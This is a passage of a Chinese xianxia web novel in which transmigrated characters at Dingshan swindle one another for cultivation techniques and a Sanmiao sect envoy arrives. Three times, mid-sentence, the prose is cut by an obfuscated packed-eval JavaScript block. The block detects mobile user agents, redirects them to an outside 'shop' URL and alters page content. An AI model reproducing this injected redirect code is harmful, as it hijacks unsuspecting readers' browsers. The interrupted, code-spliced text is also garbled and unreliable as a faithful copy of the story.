夺取他人功法是邪魔歪道的作风,张师铭这么说就显得鼎山有点捉摸不透。 名门正派不可能会将邪魔歪道放在自己地盘。 不过冬青知道丹青宝卷就是个安置妖魔鬼怪的地方。 张师铭这么说估计别有用意,她感觉另有蹊跷,于是问:“难道鼎山会趁机利用丹青宝卷?” 张师铭原本没想那么远,但这个问题出来他就发现大有可为,因此轻声叹息:“只能说是鼎山有人这么做,掌门估计还不清楚。” 话一出来,背后藏着的东西都快冒尖。 鼎山有人这么做,那么此人必然身居高位。 鼎山掌门不知道,那么此人深藏不漏、手段高超。 这种前提下还有真龙飞回鼎山,又呆在禁地休息,后续发展想都不敢想。 冬青感觉这编得也太离谱,不过她也不好反驳,只有更上一层楼。 “按理来说我不会这么柔弱,会不会是有人插手?” 她怀里的狐狸听到这句话都不想动。 鼎山龙息如果柔弱,那鼎山就没有不弱的。 冬青住在飞泉院那一带,如果有人插手必定也在那边。 张师铭感觉机会来了,就说:“若是像抽丝剥茧一样削弱你的功法,并非做不到,只不过耗时较长。” 说到这里,挑拨离间的意图就变得很明显。 既然他没一句真话,那就看谁更能编。 “我在鼎山呆了很久,”冬青显得有些惊讶,“会有危险吗?” 张师铭客气地说:“危险不大。” “再小对我来说都很大,我还看到明日朝阳吗?”冬青有点惊恐。 她有这么明显的反应,张师铭已心满意足,毕竟心情舒缓完毕,不指望其他,原本安慰两句就想走。 可是冬青又说:“你在丹青宝卷发现这件事,有没有告诉其他人?” “跟人说了会怎么样?”张师铭有点茫然。 冬青强调:“那么幕后黑手也会知道,他要是知道不清楚还会干什么。” ——这话一出,顿时就严重起来。 张师铭感觉事情发展有点奇怪,但一时也反应不过来。 冬青又说:“那个人如果知道你和鼎山弟子已经知晓此事,说不定会调整策略,重新布局,让丹青宝卷里的情况完全无法捉摸。” 张师铭感觉有点道理,过了一会儿才想起前提就是自己编出来的。 现在冬青的话已经离谱到他都快以为是真的。 ——难道假到最后撞上真的? 他只好问:“那要怎么办?” “要不你再去丹青宝卷假装无事发生?”冬青提议。 张师铭感觉有点蹊跷:“同行的还有四个鼎山弟子。” “再骗骗他们?” 说到这里,他才确定冬青就是在胡说八道。 不过再说下去,说不定自己还真的得进去。为了堵住这条路,张师铭只好掏出部分功法递过去。 “此路不通,你还是先小心吧。” 冬青虽然没说服对方再进丹青宝卷,但是获得一些功法。 他们两个其实就是在互相忽悠,没有谁是真正要说什么。 只是为了从对方那边获得利益。 眼下冬青初次获胜,顿时感觉效果不错,今后可以继续。 而张师铭虽然交出一些功法,但是觉得自己没被骗进丹青宝卷就不容易。反正那些功法也不是他的,稍微少一点也没什么损失。 也就是补偿不够,还得继续找人。 ——因此孙仲礼便成为接下来的坑骗对象。 跟他接触一段时间,张师铭发现此人相当年幼,不是冬青这种还能反手忽悠你的。 于是他朝晨练之地走过去,虽然此时已经过了孙仲礼的修炼时间,不过为提升能力,他一直在刻苦练习。 不能出现在晨练之地平台,他就站在不远处观察其他人练习,从而总结经验。 鼎山弟子练得很认真,孙仲礼也能从中学习不少。 他劲头这么足,张师铭都有点感慨,如果在现实世界能做到这一步,一切都不是问题。可惜这里是小说世界,孙仲礼再怎么努力,还是只能成为垫脚石。 张师铭走过去叹了一口气:“我刚才发现一件事。” “……啊?”孙仲礼正在分析鼎山弟子的舞剑动作。 张师铭说得很含蓄:“那个丹青宝卷你要小心。” 丹青宝卷孙仲礼以前去过,不过当时晕头转向,什么也搞不清。 因此他只能问:“怎么回事?” “风险很大,而且难以察觉,”张师铭摇摇头,“虽然跟同行鼎山弟子说明情况,但后续会怎么发展就不清楚。” 鼎山弟子都难以察觉的风险,对孙仲礼来说就相当危险。 毕竟他是以他们作为参考,来学习修炼。 那些人都不知道,他也不可能知道。 “具体怎么回事?”孙仲礼有点担心。 张师铭低头一叹:“也许有人在利用那里。” 他只是说出一点模糊不清的信息,没有具体内容。之前说得具体就被冬青带歪,还是点到即止比较好。 而孙仲礼也确实被这些点到为止的东西弄得有点焦头烂额。 张师铭没有具体说明,感觉更危险。 他原本就搞不清是怎么回事,现在更搞不清,只能赶紧找人讨论一下。 目前整个鼎山他还算熟的也就是卫池。 虽然卫池呆在禁地,不过相比之下还是人心的距离更远。 据说禁地外有青滔师伯在练剑,不过再怎么恐怖也不可能伤人。 于是孙仲礼便只身前往禁地,快到禁地他才发现还有其他鼎山弟子往那边走。虽然人数不多,可前面有青滔师伯练剑,难道不恐怖? “绕过去就行,不用担心。”有路过的鼎山弟子提醒。 听起来似乎经验丰富。 孙仲礼完全搞不清是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232320|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么回事,走到禁地外看到青滔师伯煞气腾腾的剑法,他才发现之前围观鼎山弟子练剑太过小儿科。 既然要找参考对象,当然得找最好的。 鼎山剑法第一人是青滔。 因此孙仲礼就站在不远处看起来,同样都是鼎山剑法,但这边跟晨练之地的效果截然不同。 之前他觉得鼎山弟子的舞剑值得学习,现在才发现真正要学的只有一人。 仿佛那些再层出不穷、眼花缭乱,标准答案也只有一个。 应该参考出题人的标准答案,而不是做题人的简单回答。 孙仲礼迷迷糊糊往前走,来到禁地入口才发现青滔并不会阻挠他人过来。 他在那里练剑,仅此而已,旁人敢不敢过来就没必要干涉。 然后他又发现入口旁蹲着三个鼎山弟子,他们只是朝里张望,并不进去。 “今天红梅的颜色感觉亮了一些。” “白鹭虽然没醒,不过在喘气。” “这种地方能呆这么久,卫池果然不是常人。” 三人还有说有聊,似乎并不打算进去。 孙仲礼不知道他们在干什么,只好问:“你们不进去吗?” 他们闻声转头,看到孙仲礼站在旁边,就转眼朝青滔师伯望过去。 练剑的人还在,来的只有一个人。 “难道你还要进去?”其中一人很好奇。 孙仲礼指着禁地里的卫池说:“我找他有点事。” “进去帮我看看梅花。”另一个人说。 “你自己不进去?” “天天来看,就没必要再进去。” 青滔在路上练剑,基本没人敢过来,却有鼎山弟子天天过来赏花。 孙仲礼也不知道这是什么情怀。 眼下也不是纠结这个的时候,毕竟还有正事,张师铭提醒他丹青宝卷的事,却没说清楚。孙仲礼虽然搞不懂,但感觉还是得过来告诉卫池。 由于胆子太小,他始终没有熟悉鼎山秘境,秘境错综复杂,丹青宝卷就更神秘莫测。 其他人都习以为常,孙仲礼却还提心吊胆。 他不敢听也不敢问,总觉得自己没有资格。 不过卫池是他唯一熟悉的鼎山弟子,即使再不懂,也得过来说一声。 ——以免后患无穷。 当他走进禁地时,卫池已经让鼎山弟子去丹青宝卷骗张师铭。 而准备说出真相的孙仲礼一无所知。 虽然他去过丹青宝卷,但全程晕乎乎的,完全搞不懂是怎么回事。 张师铭一说丹青宝卷有问题,他便朝有问题的方向想。 越想越有问题,最后感觉问题大到不说不行。 于是孙仲礼小心翼翼走进禁地。 禁地里冰天雪地、寒风呼啸,瞬间就是寒冬。 孙仲礼赶紧施法保暖,但没什么效果,他依然哆哆嗦嗦地被风吹来吹去。 严寒刺骨时看到禁地红梅,就仿佛是一种嘲笑。 他颤颤巍巍走在雪地里,直到一股暖意涌上周身。 孙仲礼发现头顶有一朵梅花标记,之前还在嘲笑自己的梅花,现在正保护他不受严寒侵袭。 “快过来……”卫池站在一棵梅树下说。 寒风刺骨、滴水成冰之处,鼎山人炉却若无其事。 孙仲礼走了几步,刚想感慨,就发现自己也不冷了。头顶的梅花消失,但身前就有一棵梅树。梅花绽放的同时,也驱走四周寒冷。 “这个花还有这种效果?”孙仲礼有些惊讶。 卫池解释说明:“施法布阵的结果。” 他看孙仲礼有点狼狈,就问:“你来干什么?” “有人跟我说丹青宝卷的事,所以我来告诉你。”孙仲礼说出重点。 但卫池有些奇怪:“你不是去过吗?” “去是去过,但我也搞不清具体情况。”孙仲礼不好意思地解释。 卫池说:“但是我去过啊?” “虽然我们都去过,但是化龙之人还是要小心。” 卫池指着白鹭说:“她也去过啊?” 卫池在那里莫名其妙,孙仲礼这才发现有问题的不是丹青宝卷,而是自己。 之前始终有齐云鲤和卫池引导,所以他才能适应周遭稀奇古怪的环境。 如今一人化龙,一人守着化龙之人,孙仲礼前面再也没有人。 虽然张师铭作为穿书者出现,但他说的又跟齐云鲤的话大相径庭。 孙仲礼困惑很长时间,才找到机会来禁地。 其实他想说的并不是丹青宝卷,而是作为穿书者的自己。 67. 互帮互助 虽然最开始孙仲礼受众人排挤,没人跟他说话,但他知道《长夜道枯》相当受欢迎。 四周很多人都在讨论角色和剧情,他听得迷迷糊糊,直到有人正式跟他推荐这本书。 孙仲礼感觉自己终于被接纳,于是马上开始阅读。 小说男主相当凄惨,身为人炉所以被止水宗不断追杀。好不容易在父母帮助下进入鼎山,结果只在山上平静了几年,下山之后又被穷凶极恶之徒盯上,然后各种围追堵截。 似乎大家看他好欺负,所以排着队过来动手。 这种遭遇在孙仲礼看来只能束手就擒,但小说男主不但没屈服,还越战越勇。 他看到这里就穿书,并不知道后面还有鼎山灭门。 只是觉得小说男主就是百折不挠的典范,若是自己早就跪地求饶。 如今小说男主改名叫卫池,帮了他一路,似乎比小说里还厉害。 现在他在冰天雪地的禁地守着化龙之人,化龙之人同样也是穿书者,但是没有拘泥于小说设定,反而打破孙仲礼很多既有思维。 他曾经觉得看书的人一定胜过书中的人,但眼下输的就是自己。 不过孙仲礼也没什么好挫败的,毕竟他就没赢过。 之前有齐云鲤引导他,他就觉得周遭的稀奇古怪都可以接受。 眼下她化龙后静卧在雪里,孙仲礼就感觉找不到出路。 纵然之前他保证自己学有所成,但如今只能茫然四顾。 即使有张师铭冒出来,但他总感觉不踏实。 越想问题越大,所以还是来找卫池聊聊,希望主角能帮助读者。 “我们都去过,可丹青宝卷貌似产生一些变化。” 之前卫池让鼎山弟子进去骗张师铭,他不清楚是否与此有关。 “……什么变化?”他只能问。 “具体我也不清楚,不过有人让我小心丹青宝卷,也许有人在利用那里。” 这是十分笼统的说法,卫池皱起眉头问:“谁说的?” “是帮真龙化形的张师铭。”孙仲礼小心翼翼回答。 张师铭是外来者,既是鼎山的外来者,也是这片天地的外来者。 但孙仲礼也是外来者,如今他还得寻求书中主角的帮助,着实有些可笑。 以至于他不得不怀疑现实世界也是一本书,从而获得一些心理安慰。 卫池不知道背后的道理,不过他知道张师铭就是罪魁祸首。 无论发生什么,错的都是他。 因此他就说:“能帮真龙化形,不代表他能洞察一切。” 帮真龙化形一事在孙仲礼看来相当重大,即使之前没有任何接触,他也觉得张师铭太了不起。 可卫池的态度却截然相反,他完全就没把张师铭放在眼里。 而他的语气又很平静,似乎没必要情绪波动。 “化龙之人的问题他能发现,丹青宝卷的问题就不是他能触及的,”卫池回忆起最初的场景,“当时各路修道人士吵成一团,他没有阻止,直到局面有利于自己,他才出面。” 虽然卫池不在现场,但张师铭就是这种德性。 孙仲礼之后从鼎山弟子交谈中得知此事,的确就如卫池所说。 张师铭一直在现场,可之前完全不管吵闹和争执。 之前以为是他碍于情面,但卫池那么说也很有道理。 “如今主动提起丹青宝卷的问题,也就是说有利于他,”卫池说出结果,“他跟你说这件事,必定对他有利。” 孙仲礼实在想不到还有这种事,他以为大家都是老乡,张师铭就会帮自己。 可眼下卫池这么说,又跟自己的过往经历相关。周围其他人基本对他漠不关心,一旦有事找他八成没好事。 看小说导致穿书也算其中之一。 而且张师铭说得再多,他就是感觉不踏实。 齐云鲤能解答他的问题,张师铭只是提出更多问题。 之前在想这个问题要怎么解,张师铭没有说出答案,而是提出另一个问题。 问题越来越多,他还以为最初的问题已经解决。 “丹青宝卷没事吗?”孙仲礼只好茫然地问。 卫池说:“就算有事也是针对鼎山,而不是只有你。这种事情只告诉你一人,他就没安好心。也许出事以后他又会说已经跟鼎山中人说过此事,不能怪他。” 张师铭瞬间就居心叵测起来。 这种人孙仲礼遇到过很多,其实伪善最危险。 现在回想起来,也许让他看《长夜道枯》就是一种伪善。 不过那也算事出有因。 可张师铭的动机又在哪里?孙仲礼只是想起鼎山弟子都对他有所防备。 而他说得再多,对自己的帮助也有限。 至今为止自己依然还是有很多东西想不通。 如果丹青宝卷真的有问题,那就应该说清楚。 没说清楚又一定要说,似乎动机不纯。 但孙仲礼实在想不到还能怎么别有用心。 “他为什么没安好心?”他只能问。 卫池的声音很轻:“所图甚大,绝非常理。” “难道他不会关注小的东西?”孙仲礼只能想到这里。 “根本就不屑看到。” 孙仲礼感觉自己就很渺小,张师铭说得再多也无法彻底帮他解决问题。 之前以为是自己无法完成作业,所以不能进入下一堂课。 现在发现对方好像根本就没布置作业。 “为什么你能想通这些事?”孙仲礼很疑惑。 卫池皱起眉头:“因为还有更大的问题。” 听起来像是有全国联考那种东西,就不是小学生能触及的。 孙仲礼发现做作业跟这个相比,根本就无关紧要。 小说男主屡经波折,确实严重得多。 自己认为天大地大的事,在卫池这边也许不过墙角一点灰尘。 他绞尽脑汁也只能问:“化龙的事?” “更严重。”卫池摇摇头。 化龙就是目前孙仲礼知道的最严重,而且这件事前所未有。 他实在想不到还有更严重的事。 “牵涉到很多人?”孙仲礼努力想了想。 卫池轻微一叹:“所有人。” 印象中他从不唉声叹气,眼下这声叹息似乎就是束手无策、无可奈何。 卫池的事孙仲礼无法想象,如果连小说主角都觉得很难,那就不知道对自己来说会严重到什么程度。 他还没看到鼎山灭门那里,所以不知道后面等着什么。 不过小说主角经历的苦痛已经够多,如果更严重,真不是他能想象的。 他原本是来找人帮忙,结果发现自己也可以帮忙。 于是孙仲礼说出以前从没想过的话。 “你以为得帮所有人,其实所有人也可以帮你。” 互帮互助是很简单的事,可是如果已经超出常理,那就相当稀有。 卫池瞬间愣住,他从没想过这一点。 “他们能帮忙?”实在想不出还有谁能对抗面具人。 孙仲礼一无所知,却还是说:“我也能帮你吧?” 卫池没有说话,只是疑惑地看过去。 这个天地不断轮回,实在找不出还可以出手的人。 孙仲礼知道他很怀疑,就说:“虽然已经绝地天通,但是也不会完全没有联系吧?” 绝地天通是指断绝天地通道以实现神人分治,类似读者和小说互不干涉。 不过既然有穿书者,那么两边就还能合作,书中书外或许是一个世界。 “……还能联系?”卫池很疑惑。 孙仲礼猜测:“虽然很小,但不是绝无可能。” “……你不是说世人?”卫池感觉有点奇怪。 “世人可以,不是世人的也可以。” 这句话言外之意太多,卫池实在无法领悟。 孙仲礼从没见他茫然成这样,总算感觉自己有点用,于是说:“可能这就是天人合一。” 瞬间就有种说胡话的样子。 虽然什么也没有,可他又像是作出最大保证。 即使卫池依然不懂,但也明白孙仲礼已经竭尽全力。 于是他重点强调:“张师铭此人绝不可信。” 张师铭说丹青宝卷有问题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236286|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫池说张师铭有问题,虽然孙仲礼不清楚各自理由,但小说男主绝不会害他。 因此他也强调:“上天一定会帮你。” 卫池不知道他在说什么,只能沉默点头。 虽然这种态度什么也没表明,但是对孙仲礼来说前所未有。 他在学校被众人排挤,之后来到鼎山又稀里糊涂。 好不容易有人引路,结果引路之人彻底躺平,连眼睛都不会睁开。 现在似乎总算能做出一些回报。 谁也不知道接下来会发生什么,但他终于能有所作为。 活在世上,若只是受人帮助,就感觉已经瘫痪在床。 如今总算能下床活动,证明自己还有救。 孙仲礼开开心心离开禁地,出去还告诉外面的鼎山弟子梅花有保暖功效。 那三个人完全没想到还有这种事,相当惊讶。 这时才发现有些事只是远观难以察觉。 因此那三个人马上起身朝山下走,孙仲礼问他们去干什么。他们说要去丹青宝卷,之前听人说得神乎其神,但还是得亲自去看看。 张师铭说丹青宝卷有问题,卫池说张师铭有问题,鼎山弟子说问题再多也得亲自看看。 前后三件事连在一起,仿佛是在告诉孙仲礼没必要瞎操心。 曾经在学校受人欺负,但在这里鼎山弟子都会帮他,似乎问题再大也没事。 所以孙仲礼就不再想那些搞不懂的事,眼下还是抓紧修炼更重要。自己在晨练之地练习,再跑到这边观察青滔师伯舞剑,想必效果不错。 原本他被张师铭说得郁闷,但去禁地后就豁然开朗,顿时神清气爽。 不过发现此事的张师铭就更加郁闷,被烦被骗被忽悠,好不容易有个能欺负的对象,结果徒劳无功。 他无话可说,只能试着再去找冬青,看看能不能骗她,谁知又被忽悠走功法。 张师铭心力交瘁,只能说世事难料。 拿到功法的冬青精神焕发,她攒了几次感觉能用一会儿,于是就去禁地交给鼎山人炉。 卫池呆在禁地原本与世隔绝,结果天天有人跑到外面张望。 这就算了,谁知还有人接二连三来禁地找他。 鼎山禁地原本是人迹罕至之处,结果现在人来人往、络绎不绝。 他实在没想到身处禁地还能看见这么多人。 冬青没有特殊表达,只是不再一瘸一拐。 卫池见她满面红光,就知道事情顺利,也就不再多问。 虽然还是不明白乱象出处,但能解决问题就不用操心。 他使用功法来平息乱象,鼎山龙息就更加稳定。 感受到龙息状态的菩提慧海都有点泪如雨下,操劳这么多年总算没有白费。 以前青湖始终不愿进九炼洞窟,好不容易她彻底进来,外面又冒出个面具人,据说还是搅局的罪魁祸首。 他搞来搞去,被青湖准备的魂魄化龙打败,谁知又跑到鼎山。 面具人将帮真龙恢复的龙息化为己用,真龙恢复之日遥遥无期。 好不容易让鼎山龙息稳定,龙息又在不停削弱,削弱到乱象都出来,龙息就更弱。 还在九炼洞窟的菩提慧海哭也没用。 幸亏齐云鲤通过跟修道人士吵架,来激发他们的斗志,这才想出办法解决龙息问题。菩提慧海甚感欣慰,庆幸功夫不负有心人。 九炼洞窟风平浪静,鼎山那边却有点过于平静,静得张师铭都无从下手。 他不能主动挑事,只能等人挑事。 挑事的人没出现,他就找不到机会下手。 就在他焦虑不安时,挑事之人现身鼎山,那就是三渺宗谭明诗。 三渺宗长老对姜凝气绝身亡一事深入讨论后,发现铭祖此人是一把快刀,既能砍向自己,也能砍向他人。 关键就是刀柄握在谁手里。 姜凝是块磨刀石,现在那把刀要握在他们手上,必须再找地方下手。等快刀斩乱麻之后,刀才会回鞘。 持刀之人在几轮选择后,定下来是谭明诗。 三渺宗和鼎山不能再像以前那样互不相干,刀也得从鼎山回到三渺宗。 68. 互惠互利 鼎山和三渺宗都是名门正派,不过双方关系并不好。 三渺宗人大多出自富贵人家,资产不够都无法进去。而鼎山弟子一穷二白,家境贫寒,还得赚钱补贴家用。 二者相去甚远,除了不会歪门邪道,没有任何共同之处。 如果两个门派的人在某处相遇,最多就是礼貌打个招呼。 若是彼此看不顺眼,那就还会吵起来,甚至动手。 虽然只是小打小闹,但两边都觉得自己没错。这次回去把相关事情告诉其他人,他们知道以后,下次碰到对方就更加气势汹汹。 两边长老觉得事情没闹大,便不予理会,以至于双方吵得没完没了。 鼎山和三渺宗虽然没仇,但胜似有仇。 关键还不能像对付止水宗那样光明正大地打,所以都憋着一口气。 之前修道人士因真龙飞上鼎山来到半山腰大殿,鼎山弟子就觉得是三渺宗带人来闹事。 虽然最初说话的没有三渺宗人,但谁都知道他们势力庞大,那一群人究竟有没有三渺宗势力之外的都不确定。 第二次众人上鼎山,又有两个三渺宗人吵起来,之后还有一人意外身亡,谁知道三渺宗要干什么。 鼎山弟子对此不感兴趣,也完全不想看到三渺宗人。 然而这时却有三渺宗人光明正大前来拜访,谁也搞不清意欲何为,但谁都不敢怠慢。 毕竟总共只有一人抵达鼎山,没有那群气势汹汹的修道人士,鼎山弟子反而有点担心。 上次死一个还算意外身亡,万一这次也死人那就是全军覆没。 一旦传出去,必定是鼎山痛下杀手。 虽然不争名夺利,但名声得保住。 他们提高警惕,将谭明诗请到半山腰大殿。 谭明诗没有故弄玄虚,直接说明来意。真龙飞天前所未有,那么修道门派也该采取一些从未有过的措施,以备不时之需。 目前三渺宗和鼎山关系不好,现在是时候改善关系,共同面对接下来的困局。 这时艳阳高照,鼎山半山腰大殿里灯火通明,谭明诗的话却有几分寒意。 “两个门派的事,你一个人就想做主?”罗白音坐在轮椅上,但势头不低。 只来一个三渺宗人,那么必定是麻烦之人。 既然如此,鼎山也得有麻烦之人出面。 鼎山弟子将谭明诗请到半山腰大殿的途中,罗白音就已做好准备。 三渺宗人来挑事,鼎山当然不能示弱。 两个女子面带微笑,但谁都不好惹。 孙峥湖只敢在角落里围观,感觉稍有不慎就被那两个人扒皮抽筋。 ——这种人少的场合最为凶险。 谭明诗含蓄地说:“我只是过来初步交涉,谈拢后再正式握手言和。” “你觉得我们两边还能握手言和?”罗白音完全不给对方机会。 “又没有深仇大恨,总不至于势不两立吧?” “难道没有势不两立?” 说到这里,谭明诗就知道有些事必须说清楚,只不过不是以正常方式。 于是她叹了一口气,才说:“之前确实有不少纷争,不过都是小打小闹,还不至于势不两立吧?” “如果小打小闹都是为了掩盖藏在背后的东西呢?”罗白音问。 鼎山和三渺宗的小打小闹世人皆知,可那些只是表面上的争斗,真正让他们斗起来的可不是看不顺眼那么简单。 在化龙一事上,两个门派有截然不同的理解。 一个强调形,一个关注势。 强调形的声势浩大,关注势的无人知晓。 从最终结果来看,三渺宗就是为了阻止世人化龙,鼎山是突破三渺宗束缚才成功化龙。现在化龙之人还没恢复,握手言和会有什么后果可想而知。 没人质疑三渺宗,不过他们势力庞大还一事无成就有点微妙。 握手言和也许只是想让鼎山别再前进。 毕竟三渺宗的势力会干什么,谁也不敢保证。 两个门派在根上就截然相反。 “之前的纷争是我们不对,可若继续下去,会波及的就是化龙之人。化形会随着形态复杂程度而变难,化龙更是如此。”谭明诗似乎有威胁之意。 化龙和化形截然不同,数百年无人成功基本能证明。 化龙很难,从龙变回人更难。 化形到最后,都得保证还能变回人形,否则一个修道人士变成窗框,谁都无法接受。 化龙一事研究数百年都没有成效,化龙之人还能不能变回人谁也不敢保证。 这件事鼎山也不能妥善处理,三渺宗想阻挠化龙之人恢复并非痴心妄想。 ——不过已经有人来鼎山帮忙。 “化形难,化龙比化形难,化龙之人的恢复就更难,”张师铭从外面走来,“三渺宗研究化龙数百年都毫无进展,怎么能让化龙之人恢复?” 这是谭明诗递过来的刀柄,张师铭自然而然就接住。 外面艳阳高照,他便顺势带来一些暖意。 谭明诗坚持:“即使无法化龙,不过怎么让化龙之人恢复我们也研究数百年。” “虽然没法上山,但是已经熟悉下山?”张师铭叹了一口气,“上山容易下山难啊。” 之前还在谈论两个门派的恩怨,这时只剩化龙一事。 虽然化龙相当难,但是跟恩怨比起来就较为简单。 罗白音当然没有叫张师铭过来,不过谭明诗光明正大上鼎山让众人都有点担心,所以他会知道也正常。 但是她实在没料到,谭明诗和张师铭就这么演起来。 “就算痴心妄想,也得试一试吧?” “鼎山的确不知道怎么帮化龙之人恢复,”张师铭说出前提,然后强调,“不过我知道。” 谭明诗明显一惊,然后才说:“那就是我多虑。” 这种态度跟之前的僵持不下既然相反。 在角落里围观的孙峥湖有点惊讶,他还以为三渺宗人会坚持到底。 谁知张师铭一来,谭明诗的态度就大为转变。 “三渺宗可以趁机获得很多东西,毕竟化龙之人的恢复也是化形。” “化形没必要从化龙之人的恢复来学吧?”谭明诗的语气明显软下来。 张师铭顺势一叹:“化形当然不用学,不过化形的顺序你们可以插手。” “如果我们插手可能会乱。”谭明诗的态度明显往后退。 ——这都已经点明后果。 虽然的确会有这种事,但三渺宗人亲口说出来就有点奇怪。 “你们不就是要乱?” 张师铭话音一重,他已经握好递过来的刀。 不止一人发现那把刀,但是只有他才能握住。 身处鼎山,手上没有利刃就很难行事。 谭明诗就是递刀的人,眼下她让张师铭有刀可用,接下来张师铭就得让她有刀可用,毕竟来而不往非礼也。 反正会有伤势的不是张师铭,也不是三渺宗。 “这不是我的意思……”她似乎有些窘迫。 “化龙你们不行,阻止化龙之人恢复却很擅长。之前在山下见你们很积极,我还以为都是同道中人。”张师铭开始回顾往事。 谭明诗心领神会,便皱起眉头:“当时我们也是遵照三渺宗长老指示……” 背锅对象出现,张师铭就说:“三渺宗长老自视甚高,他们无法化龙,估计也不让其他人化龙。” “不可妄议长老。”谭明诗摇头。 罗白音见那两人争起来,似乎胜负已分,只能一言难尽。 即使知道两个人都有问题,她也束手无策。 毕竟对化龙一事知之甚少。 “不可妄议他们,却来诽谤我。”张师铭指出。 谭明诗无可奈何:“这是个误会,而且那个三渺宗人已经离世……” “她被带上死路,你最好不要也有去无回。”张师铭意有所指。 即使知之甚少,罗白音也发现不对。 不过谭明诗已经开口:“曾经受她关照,所以那个后果我也有责,眼下过来也算是完成她的遗愿。” “她的遗愿是生不是死。”张师铭明显在引导。 罗白音赶紧开口:“难道还要借鼎山生机?” 这时就算胡搅蛮缠,也要挡住三渺宗。 那个遗愿就意味着鼎山和三渺宗必有一个死。 如果不能挡住,那就错失良机。 张师铭当然知道她的意思,不过自己还有后手。 “不是借,只是趁机学习,”他低下头,显得十分诚恳,“曾经她帮过我,希望在帮真龙化形期间能带着她学习一二。” 帮助真龙化形是举世罕见的事,如果只是趁机学习,那么世人都想参与。 仅此而已还不允许,那就太不近人情。 而且之前张师铭和谭明诗的态度明显对立,就算是演的也天衣无缝。 罗白音很想骂人,但这个三渺宗人资质平平,难以构成威胁。 说她危险都不会有人信。 况且眼下并不是要缓和双方关系,只是想趁机学习。 他们态度这么缓和,她也不好气势汹汹,只能说:“你不要带她到处乱跑。” ——这句话已经相当难得。 “多谢阁下宽宏大量。”谭明诗低下头。 张师铭感慨道:“在下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239108|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万分感激,日后必定全力以赴。” 那两个人明显松一口气,罗白音则压力倍增。 张师铭就已经很头疼,现在还多一个三渺宗人,感觉基本别想睡。 而自己对这种突变情况束手无策。 实在无可奈何,只能请鼎山龙息出面。 他们离开大殿后,罗白音瞟一眼角落里的孙峥湖就说:“你去找冬青玩。” “……啊?”孙峥湖当然知道有言外之意,不过找冬青玩的代价太大。 那人力大无穷,感觉随手就能捏死自己。 结束之后得把刚才的事说得要多恐怖有多恐怖。 让鼎山弟子对那两个人都敬而远之,否则就白来一趟。 虽然他不擅打斗,但也不能任人摆布。 不过想得再多,孙峥湖也必须去找冬青,被她又锤又抓之后变成狐狸的他才说:“今天有个三渺宗人来到鼎山,之前很多修道人士来的时候她也在。张师铭把她留在这里,你要小心。” 平时这只狐狸经不起折腾,这时却语气沉重,仿佛冬青大难将至。 她好不容易骗到些功法,结果刚松口气又有麻烦找过来。 张师铭就够让她心力交瘁,还来一个三渺宗人。 死法千奇百怪,她都不知道会怎么死。 冬青气得拔起旁边一棵海棠,再让孙峥湖种回去。 那棵树有十多尺高,不过在她手上轻如鸿毛。 孙峥湖没有瞬间种树的本事,只好变回人形挖土,就是见冬青走到张师铭出没的方向也没提醒。 反正迟早都会遇见,是福不是祸,是祸躲不过。 这也不是他能左右的。 冬青气冲冲走在路上,沿途没看见鼎山弟子,倒是看到张师铭跟一个陌生女子走来。想起孙峥湖的话,她就知道那人是三渺宗的。 三渺宗人绝对没好心,这是冬青的基本认识。 而且那个人一看就不像好人。 于是她就开始装疯卖傻:“我的狐狸不见了,是不是被你变换形态?” 冬青既伸手指向张师铭,也指着旁边的谭明诗。 张师铭充分领教过她的胡说八道,明白千万不能顺着说。 因此他打开一个新方向:“那是飞泉院孙峥湖,只是在茶余饭后变成狐狸,不是整天都闲来无事。” “你就是在说我不如他。”冬青似乎很有怨气。 张师铭摇摇头:“你们一男一女没什么好比的,还是跟她说吧。” 他说完便介绍起谭明诗,她是三渺宗人,不过家境在那边并不算突出,因此始终无法出头。这次她自荐过来调解两个门派的矛盾,属实不容易。 他是新来的,但是冬青对鼎山很熟,不如她们两个交流一下,说不定能缓和两个门派的关系。 冬青见谭明诗深受张师铭青睐,就知道事情不简单。 两个没安好心的人还有共同利益,那就相当麻烦。 被一个人烦还是被两个人烦,都是烦。 那就没必要纠结,反正都一样。 “我是掌门带回来的游手好闲之徒。”冬青自我介绍。 这话一听就不好惹,掌门带回来还游手好闲,在鼎山都找不出第二个。 虽然没说名字,但什么都说清楚。 “在下是三渺宗谭明诗。”对面只介绍名字。 三渺宗人这么低调,必定有诈。 毕竟那边的人看你一眼都相当难得。 不过冬青不怕,反正她也能让人摸不着头脑。 “我叫冬青,别理这个装模作样的家伙。”她嫌弃地挥手。 张师铭反驳:“我只是简单说了几句……” “你说你的,我说我的,你根本就没理我。”冬青冷哼一声,扭过头。 